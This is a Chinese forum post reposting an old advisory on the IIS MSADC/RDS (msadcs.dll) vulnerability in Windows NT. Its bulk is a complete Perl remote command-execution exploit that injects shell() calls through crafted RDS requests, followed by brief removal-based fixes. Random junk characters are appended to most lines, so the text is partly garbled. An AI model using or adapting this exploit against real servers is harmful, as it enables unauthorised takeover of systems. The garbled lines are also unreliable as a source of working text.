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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) -"(*'hD  
4.6$m  
涉及程序: <sdgL+&1h  
Microsoft NT server &9k~\;x  
 urp|@WZ  
描述: ^({)t  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 c,UJ uCZ  
?0b-fL^^+l  
详细: " T(hcI   
如果你没有时间读详细内容的话,就删除: >nSsbhAe  
c:\Program Files\Common Files\System\Msadc\msadcs.dll SNEhP5!  
有关的安全问题就没有了。 c0Ug5Vr  
gW, [X(  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 <Ij!x`MS+  
5'lVh/  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 K/4@ 2vF  
关于利用ODBC远程漏洞的描述,请参看: dzcF1 5H1  
;!yK~OBxt  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2:+8]b3i  
?z ,!iK`  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 k(Yz2  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ]A4=/6`g?b  
=;Id["+  
这里不再论述。 K2m>D=w  
AZ:7_4jz  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 8K8u|]i  
3 qYGEhxv  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset G1:}{a5i_  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! EIi<g2pM(  
%lKw+D  
~cz}C("Z  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !}*N';  
<H[w0Z$  
#!perl \u=d`}E  
# `At.$3B  
# MSADC/RDS 'usage' (aka exploit) script 0'q4=!l  
# $CcjuPsK  
# by rain.forest.puppy rOIb9:  
# b#2)"V(  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me $0*sj XV  
# beta test and find errors! WR+j?Fcf  
!0 7jr%-~  
use Socket; use Getopt::Std; d[9,J?'OQ  
getopts("e:vd:h:XR", \%args); p^l#Wq5  
uH_KOiF  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; !_glZ*tL  
Q+CJd>B  
if (!defined $args{h} && !defined $args{R}) { /SvhOi  
print qq~ :4AQhn^;"  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ^0,}y]5p  
-h <host> = host you want to scan (ip or domain) l;F"m+B!$  
-d <seconds> = delay between calls, default 1 second ZvY"yl?e  
-X = dump Index Server path table, if available x/QqG1q  
-v = verbose s|YH_1r  
-e = external dictionary file for step 5 h y rPu_  
+]l?JKV  
Or a -R will resume a command session uJ`N'`Z  
wl=tN{R  
~; exit;} NP>v @jO  
VO#rJ1J  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; AXw qN:P}  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 7:`XE&Z  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ;_sJ>.=\  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); HOW<IZ^  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} BD6!,  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } A#>wbHjWF  
{uDW<u_!  
if (!defined $args{R}){ $ret = &has_msadc; (6%T~|a  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} hzD)yf  
]#~J[uk  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;W0J  
. "cmd /c "; 0'&C5v'  
$in=<STDIN>; chomp $in; g%2G=gR$?z  
$command="cmd /c " . $in ; 'afW'w@  
m:_#kfC&K"  
if (defined $args{R}) {&load; exit;} v[CR$@Y  
qxRsq&_  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; j/V_h'}  
&try_btcustmr; 3mgvWR  
Vjs2Yenx  
print "\nStep 2: Trying to make our own DSN..."; %<i sdvF  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Aez2n(yac  
vuQA-w7  
print "\nStep 3: Trying known DSNs..."; kHg|!  
&known_dsn; H4Bt.5O*  
& -/J~b)"  
print "\nStep 4: Trying known .mdbs..."; QPy h.9:N  
&known_mdb; DpHubqWz  
LP3#f{U  
if (defined $args{e}){ >^8O:.  
print "\nStep 5: Trying dictionary of DSN names..."; a-5UG#o  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } at>_EiS  
}$?FR  
print "Sorry Charley...maybe next time?\n"; Uo3  
exit; =B&|\2`{)  
r$<!?Z  
############################################################################## -J]?M  
%6ckau1_;  
sub sendraw { # ripped and modded from whisker }3 /io0"D  
sleep($delay); # it's a DoS on the server! At least on mine... J~x]~}V&  
my ($pstr)=@_; HoBx0N9\2  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rpk8  
die("Socket problems\n"); St;9&A  
if(connect(S,pack "SnA4x8",2,80,$target)){ M]8>5Zx.  
select(S); $|=1; GEPWb[Oa  
print $pstr; my @in=<S>; `n+uA ~  
select(STDOUT); close(S); GzEw~JAs  
return @in; c<13r=+  
} else { die("Can't connect...\n"); }} kn#?+Q  
lh-.I]>&`  
############################################################################## Vy& X1lG:  
n'rq  
sub make_header { # make the HTTP request TF%n1H-sF  
my $msadc=<<EOT 4Q+,_iP  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 >A )Sl'  
User-Agent: ACTIVEDATA .)*&NY!nsl  
Host: $ip $`xpn#l z  
Content-Length: $clen c{ 'Z.mut  
Connection: Keep-Alive \t{iyUxY  
Jq1oQu|rs  
ADCClientVersion:01.06 6@aH2+4+  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 n3e,vP? R  
/G5KNSi  
--!ADM!ROX!YOUR!WORLD! e {6wFN  
Content-Type: application/x-varg _d!sSyk`  
Content-Length: $reqlen 5?3v;B6  
fwpp qIM  
EOT CW;zviH5  
; $msadc=~s/\n/\r\n/g; CfOyHhhKX  
return $msadc;} &4E|c[HN  
<v ub Q4  
############################################################################## Cq@7oi]W0  
kwi$%  
sub make_req { # make the RDS request uNewWtUb(  
my ($switch, $p1, $p2)=@_; yCz"~c  
my $req=""; my $t1, $t2, $query, $dsn; Rd(8j+Q?ps  
[KUkv  
if ($switch==1){ # this is the btcustmr.mdb query Wv>`x?W  
$query="Select * from Customers where City=" . make_shell(); hGFi|9/-u  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . <\*)YKjn/@  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {9J|\Zz3  
28JVW3&)  
elsif ($switch==2){ # this is general make table query s=$xnc}mf  
$query="create table AZZ (B int, C varchar(10))"; 2?(/$F9X,  
$dsn="$p1";} $d1ow#ROgy  
xpZ@DK;  
elsif ($switch==3){ # this is general exploit table query l>jrY1u  
$query="select * from AZZ where C=" . make_shell(); UXZ3~/L5 O  
$dsn="$p1";} )g=mv*9>  
Qfeu3AT  
elsif ($switch==4){ # attempt to hork file info from index server `LH9@Z{  
$query="select path from scope()"; 6l|L/Z_6  
$dsn="Provider=MSIDXS;";} 4][VK/v+  
wgDAb#Zuk  
elsif ($switch==5){ # bad query "eoPG#]&  
$query="select"; /XG7M=A$o  
$dsn="$p1";} i~GW  
&tkPZ*}#1  
$t1= make_unicode($query); s"7FmJ\7rw  
$t2= make_unicode($dsn); *K>2B99TXu  
$req = "\x02\x00\x03\x00"; 2U%t  
$req.= "\x08\x00" . pack ("S1", length($t1)); D~qi6@Ga  
$req.= "\x00\x00" . $t1 ; nUY)Ln I  
$req.= "\x08\x00" . pack ("S1", length($t2)); ]Vf p,"op  
$req.= "\x00\x00" . $t2 ; :~s"]*y  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; y**L^uvr  
return $req;} Q3r]T.].h  
};2Lrz9<  
############################################################################## va~:Ivl-)  
2SC'Z>A  
sub make_shell { # this makes the shell() statement p;[.&o J  
return "'|shell(\"$command\")|'";} H/f}t w  
,>g( %3C  
############################################################################## PazWMmI  
:z?T /9,C  
sub make_unicode { # quick little function to convert to unicode zCq6k7u  
my ($in)=@_; my $out; WKr4S<B8mr  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } L9[m/(:y  
return $out;} vU/sQt8  
qHrIs-NR  
############################################################################## "% i1zQo&  
$sL+k 'dY  
sub rdo_success { # checks for RDO return success (this is kludge) <)cmI .J3  
my (@in) = @_; my $base=content_start(@in); ,:.8s>+i  
if($in[$base]=~/multipart\/mixed/){ <-d-. 8  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} c5CxR#O  
return 0;} KJn 3&7  
9~,!+#  
############################################################################## i(u zb<  
: Q,O:  
sub make_dsn { # this makes a DSN for us Z(E .F,k  
my @drives=("c","d","e","f"); bz&9]% S<  
print "\nMaking DSN: "; HVC|0}  
foreach $drive (@drives) { :U1V 2f'l3  
print "$drive: "; R^E-9S\@  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . WUDXx %  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" uxrNkZia  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4pDZ +}p  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Kd#64NSi$A  
return 0 if $2 eq "404"; # not found/doesn't exist TR?jT U  
if($2 eq "200") { B_r:daCS:  
foreach $line (@results) { 4yu=e;C wy  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} D -e^b'l  
} return 0;} X7aj/:fXe  
M~sP|Ha"+  
############################################################################## 8BIPEY -I?  
Xp^>SSt:4  
sub verify_exists { B]D51R\}VE  
my ($page)=@_; >03JQe_#*L  
my @results=sendraw("GET $page HTTP/1.0\n\n"); (_q&QI0{  
return $results[0];} d{^K8T3  
ZDr TPnA[  
############################################################################## *!EHs04  
H]lD*3b  
sub try_btcustmr { a 8jG')zg  
my @drives=("c","d","e","f"); oRn5blj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); gn 9CZ  
Dx3Sf}G `  
foreach $dir (@dirs) { R[lA@q:  
print "$dir -> "; # fun status so you can see progress @XF/hhGE_y  
foreach $drive (@drives) { _*(:6,8  
print "$drive: "; # ditto 4.&et()}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; [yAR%]i-7  
$reqlenlen=length( "$reqlen" ); M+Y^A7  
$clen= 206 + $reqlenlen + $reqlen; ku5g`ho  
"%t !+E>nr  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); g.EKdvY"%H  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1 pzd  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 9e 1KH'  
K)oN^  
############################################################################## A`1/g{Ha  
\?\q0o<V$  
sub odbc_error { k|^nrjStC  
my (@in)=@_; my $base; H Lt;1:b  
my $base = content_start(@in); E}w<-]8  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )\0c2_w>  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wa9{Q}wSa  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;/nR[sibN  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; X?"Ro`S  
return $in[$base+4].$in[$base+5].$in[$base+6];} Z$@XMq!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; }Sb&ux  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . QeAkuqT'[  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} =HvLuVc  
F9SIC7}uH  
############################################################################## j#XU\G  
(aH_K07  
sub verbose { 7<ES&ls_  
my ($in)=@_; }%-`CJ,  
return if !$verbose; vCNYqa)m:  
print STDOUT "\n$in\n";} jZY9Lx8o  
;,&1  
############################################################################## u"n ~ 9!G  
4~r=[|(aY  
sub save { ? Kn~fs8  
my ($p1, $p2, $p3, $p4)=@_; k}Vu!+cz  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; hMs}r,*  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; \+w -{"u$  
close OUT;} V/!8q`lYNJ  
Ec]cCLB  
############################################################################## $}7WJz:  
KH&xu,I  
sub load { 2? 7a\s  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; *o[*,1Pw  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); L``K. DF  
@p=<IN>; close(IN); J_mpI.^Bsf  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); FCmS3KIa,  
$target= inet_aton($ip) || die("inet_aton problems"); 5k}UXRB?  
print "Resuming to $ip ..."; Xl%&hM  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; VuW&CnZ  
if($p[1]==1) { (5N&bh`E  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; R=M${u<t  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; yz2NB?)  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); g<{W\VOPm  
if (rdo_success(@results)){print "Success!\n";} |3g:q  
else { print "failed\n"; verbose(odbc_error(@results));}} C31SXQ  
elsif ($p[1]==3){ [w)6OT  
if(run_query("$p[3]")){ 3C8'@-U  
print "Success!\n";} else { print "failed\n"; }} !-4pr[C  
elsif ($p[1]==4){ C`x>)wm:  
if(run_query($drvst . "$p[3]")){ jX{lo  
print "Success!\n"; } else { print "failed\n"; }} $wVY)p9Q  
exit;} c>3W1"  
%P9Zx!i>  
############################################################################## @ B3@M  
.Isg1qrC  
sub create_table { an<tupi[E  
my ($in)=@_; ;comL29l2`  
$reqlen=length( make_req(2,$in,"") ) - 28; W~QZ(:IK  
$reqlenlen=length( "$reqlen" ); Da8qR+*x  
$clen= 206 + $reqlenlen + $reqlen; R16" lG  
my @results=sendraw(make_header() . make_req(2,$in,"")); T, gMc  
return 1 if rdo_success(@results); \d%SC<s  
my $temp= odbc_error(@results); verbose($temp); bLoYg^T/  
return 1 if $temp=~/Table 'AZZ' already exists/; sM~|}|p  
return 0;} F+AShh  
4oOe  
############################################################################## hD l+  
*Qg/W? "m  
sub known_dsn { Ph.$]yQCc]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go /^0Hi4+\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", J]|-.Wv1  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 5R,/X  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 37!}8  
Y6fU;  
foreach $dSn (@dsns) { JX/rAnc@  
print "."; !H,R$3~  
next if (!is_access("DSN=$dSn")); e$tKKcj0T  
if(create_table("DSN=$dSn")){ D x Vt  
print "$dSn successful\n"; ^yu^Du  
if(run_query("DSN=$dSn")){ f=J#mmH w$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  c:~o e  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Z!|nc.  
/)y~%0  
############################################################################## /{1xpR  
8'#%7+ "=!  
sub is_access { Ef$xum{  
my ($in)=@_; -acW[$t  
$reqlen=length( make_req(5,$in,"") ) - 28;  Jb {m  
$reqlenlen=length( "$reqlen" ); BbiBtU  
$clen= 206 + $reqlenlen + $reqlen; 3QS"n.d  
my @results=sendraw(make_header() . make_req(5,$in,"")); ;Fuxj!gF  
my $temp= odbc_error(@results); 9^s sT>&/  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ZwF_hm=/[  
return 0;} 1rEhL  
Q:kpaMA1P  
############################################################################## %r~TMU2"  
Ra_6}k  
sub run_query {  NP^kbF  
my ($in)=@_; ;][1_  
$reqlen=length( make_req(3,$in,"") ) - 28; WFN5&7$W  
$reqlenlen=length( "$reqlen" ); FQ(=Fnqn  
$clen= 206 + $reqlenlen + $reqlen; #.tF&$ik  
my @results=sendraw(make_header() . make_req(3,$in,"")); '1r:z, o|  
return 1 if rdo_success(@results); -F|(Y1OE  
my $temp= odbc_error(@results); verbose($temp); s bW`  
return 0;} ^O[q C X  
^X0<ZI  
############################################################################## lcIX l&  
59T:{d;~  
sub known_mdb { jB?Tua$,s  
my @drives=("c","d","e","f","g"); 2J|Yc^b6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); uu=e~K  
my $dir, $drive, $mdb; |n67!1  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; AytHnp\H  
Z^`>;n2  
# this is sparse, because I don't know of many {n%F^ky+7  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Q} f=Ye(&}  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", kfA%%A  
"\\system32\\certmdb.mdb", N9:xtrJ]_J  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% )BS./zD*[<  
"2qp-'^[c  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 3=5+NJ'8  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7=mU["raz`  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", |3\ mH~Bw  
"\\cfusion\\cfapps\\security\\realm_.mdb", {b+!0[  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ](- :l6  
"\\cfusion\\database\\cfexamples.mdb", bv$)^  
"\\cfusion\\database\\cfsnippets.mdb", \\x``*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", +~02j1Jx  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 01#a  
"\\cfusion\\brighttiger\\database\\cleam.mdb", = ?T'@C  
"\\cfusion\\database\\smpolicy.mdb",  @;d(>_n  
"\\cfusion\\database\cypress.mdb",  [Fr.ik  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", L&'2  
"\\website\\cgi-win\\dbsample.mdb", !>;p^^e  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", hMeE@Q0  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" OZLU>LU  
); #these are just MBDu0 [c  
foreach $drive (@drives) { !lL21C6g+  
foreach $dir (@dirs){ E@P8-x'i  
foreach $mdb (@sysmdbs) { "i4@'`r  
print "."; ;l5F il,3  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ HRje4=:  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; I`E9]b(w  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ >K;p+( <6  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; i4v7x;m_p  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [D?RL `ZF  
)iluu1,o  
foreach $drive (@drives) { 3(}HD*{E[@  
foreach $mdb (@mdbs) { ;VYL7Xu](  
print "."; ^0A'XCULG  
if(create_table($drv . $drive . $dir . $mdb)){ +'hcFZn(T  
print "\n" . $drive . $dir . $mdb . " successful\n"; }O5c.3  
if(run_query($drv . $drive . $dir . $mdb)){ z9YC9m)jK  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Y*B}^!k6  
} else { print "Something's borked. Use verbose next time\n"; }}}} {Qg"1+hhM  
} B {f&'1pp/  
xhj A!\DS  
############################################################################## >Ex\j?  
 N6E H  
sub hork_idx { q%"]}@a0  
print "\nAttempting to dump Index Server tables...\n"; xv9SQ,n<  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; XNf%vC>  
$reqlen=length( make_req(4,"","") ) - 28; k P>G4$e_v  
$reqlenlen=length( "$reqlen" ); C B=H1+  
$clen= 206 + $reqlenlen + $reqlen; r2qxi'  
my @results=sendraw2(make_header() . make_req(4,"","")); oAA%pZ@  
if (rdo_success(@results)){ S;a{wYF6v  
my $max=@results; my $c; my %d; 9eH(FB  
for($c=19; $c<$max; $c++){ d9sl(;r  
$results[$c]=~s/\x00//g;  [9~Bau  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; }*hY#jo1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; @T|mHfQ8  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; uRh`qnL  
$d{"$1$2"}="";} 0^5SL/2  
foreach $c (keys %d){ print "$c\n"; } `\(Fax  
} else {print "Index server doesn't seem to be installed.\n"; }} 2 Do^N5y  
sr sDnf  
############################################################################## a(NN%'fDD  
8 POrD8B  
sub dsn_dict { }rxFX  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); BPIp3i  
while(<IN>){ kNMhMEez  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Se%FqI  
next if (!is_access("DSN=$dSn")); G5Y 8]N  
if(create_table("DSN=$dSn")){ qi.|oL9p  
print "$dSn successful\n"; ;mu9;ixZ  
if(run_query("DSN=$dSn")){ cx&jnF#$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Gyw@+(l  
print "Something's borked. Use verbose next time\n";}}} `QC{}Oo^  
print "\n"; close(IN);} n1a;vE{!  
~*ZB2  
############################################################################## kb Fr  
$oHlfV/!  
sub sendraw2 { # ripped and modded from whisker  ^GB9!d.  
sleep($delay); # it's a DoS on the server! At least on mine... h3h2 KqM'  
my ($pstr)=@_;  Ma0_!|i  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 'bN\bbR  
die("Socket problems\n"); l=`)yc.  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8G?'F${`  
print "Connected. Getting data"; 68kxw1xY  
open(OUT,">raw.out"); my @in; &^8>Kd8  
select(S); $|=1; print $pstr; #%il+3J  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ]m{;yOQdsC  
close(OUT); select(STDOUT); close(S); return @in; KIps {_J[<  
} else { die("Can't connect...\n"); }} F=EAD3  
-ytSS:|%\  
############################################################################## #9,!IW]l  
4^1{UlCop  
sub content_start { # this will take in the server headers xO`w| k  
my (@in)=@_; my $c; {  KE[8n  
for ($c=1;$c<500;$c++) { muwXzN(KX  
if($in[$c] =~/^\x0d\x0a/){ )Mx[;IwE  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 5][Rvu0  
else { return $c+1; }}} xC9^x7%3O  
return -1;} # it should never get here actually 72GXgah  
DQDt*Uj,  
############################################################################## 1uG?R  
wciYv,  
sub funky { U59uP 7n  
my (@in)=@_; my $error=odbc_error(@in); is}o5\JEL  
if($error=~/ADO could not find the specified provider/){ NDm@\<MIzB  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; /XjIm4EN  
exit;} Wct +T,8  
if($error=~/A Handler is required/){ L"rLalUw  
print "\nServer has custom handler filters (they most likely are patched)\n"; y/K%F,WMf  
exit;} \7nlwFAO  
if($error=~/specified Handler has denied Access/){ xAMj16ZF  
print "\nServer has custom handler filters (they most likely are patched)\n"; Oj:O-PtN2  
exit;}} `zAV#   
l!ltgj  
############################################################################## Hv>A$x$q  
6]Q ~c"+5  
sub has_msadc { )NGBA."t  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); J6;^:()  
my $base=content_start(@results); ;'{:}K=h  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .L0pS.=LT  
return 0;} <T[%03  
6A7UW7/  
######################## %f\ M61Z  
E1_FK1*V;  
!T@>Ld:  
解决方案: b#FN3AsR  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll v1?P$f*g  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 81V,yq]  
)p4o4 aM  
拿出来充数 哈哈
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